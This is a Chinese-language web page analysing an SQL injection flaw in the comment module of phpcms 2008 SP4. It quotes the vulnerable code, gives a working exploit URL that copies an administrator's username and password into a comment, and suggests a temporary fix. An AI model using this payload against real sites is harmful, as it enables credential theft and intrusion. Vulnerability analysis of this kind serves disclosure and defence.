好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

phpcms 2008 sp4 comment.php页面SQL注入漏洞分析 - 网站

发布作者:衰仔 影响版本: phpcms 2008 sp4 官方地址: HdhCmsTestphpcms.cn 漏洞描述: 问题出在/comment/include/comment.class.php中关于function ajaxupdate($field, $id)的定义: 程序59行开始: function ajaxupdate( $field, $id ) { $sql = [UPDATE $this->_comment_table SET {$field} = {$field} +1 WHERE `commentid` = ‘$id’ [; $this->db->query($sql); $sql2 = [SELECT {$field} FROM $this->_comment_table WHERE `commentid` = ‘$id’ [; return $this->db->get_one($sql2); } 在这个地方是没有过滤直接update进数据库的,因为牵扯到单引号的问题,所以不从$id去考虑代码注入,而对$field进行代码注入即可,网上流传的EXP也是不需要考虑单引号问题的。 因为紧接着还有一个select,所以程序页面会给出报错,但是前面的update已经成功执行了。 看看调用此函数的地方,在comment.php页面: 程序13行开始: switch ( $action ) { case ‘vote’: $count = $comments->ajaxupdate($field, $id); echo ‘ ‘.$LANG[$field].’(‘.$count[$field].’)'; break; 直接放入了 HdhCmsTest2cto测试数据 ajaxupdate()函数中,导致代码执行。 exp: /comment/comment.php?action=vote&field=content%3D(select+concat(username%2C0x3a%2Cpassword)+from+phpcms_member+where+groupid%3D1+limit+1)+where+commentid%3D123%23 执行后重新查看对应的评论页面即可。 commentid的获得方式:在显示评论页面中,鼠标移到[回复],看状态栏就OK了。 官方目前好像还没有响应,临时修补方式:关闭评论模块,并将评论文件夹改名,等待官方补丁。或者自己对ajaxupdate()做一下简单的修改

查看更多关于phpcms 2008 sp4 comment.php页面SQL注入漏洞分析 - 网站的详细内容...

  阅读:38次